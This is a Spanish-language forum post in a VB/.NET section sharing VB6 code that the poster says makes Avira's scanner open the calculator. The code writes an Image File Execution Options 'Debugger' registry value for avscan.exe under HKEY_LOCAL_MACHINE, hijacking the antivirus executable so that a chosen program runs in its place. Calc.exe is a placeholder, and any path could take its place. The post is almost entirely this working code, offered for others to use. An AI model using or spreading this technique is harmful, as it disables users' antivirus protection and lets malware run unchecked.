Hola no se mucho de VB6 pero encontre este codigo que creo que les puede servir a ustedes, lo que hace es hacer que el scan de Avira abra la calculadora.
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Const REG_SZ = 1


Const HKEY_LOCAL_MACHINE = &H80000002
Dim nBufferKey As Long
Sub Main()
scan ("c:\windows\system32\calc.exe")

End Sub
Sub scan(ByVal ways As String)
RegCreateKeyEx HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avscan.exe", 0, "REG_SZ", REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, ByVal 0&, hKey, 0
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avscan.exe", nBufferKey
RegSetValueEx nBufferKey, "Debugger", 0, REG_SZ, ByVal ways, Len(ways)
RegCloseKey nBufferKey
End Sub
Fuente: [Enlace externo eliminado para invitados]
Responder

Volver a “VB/.NET”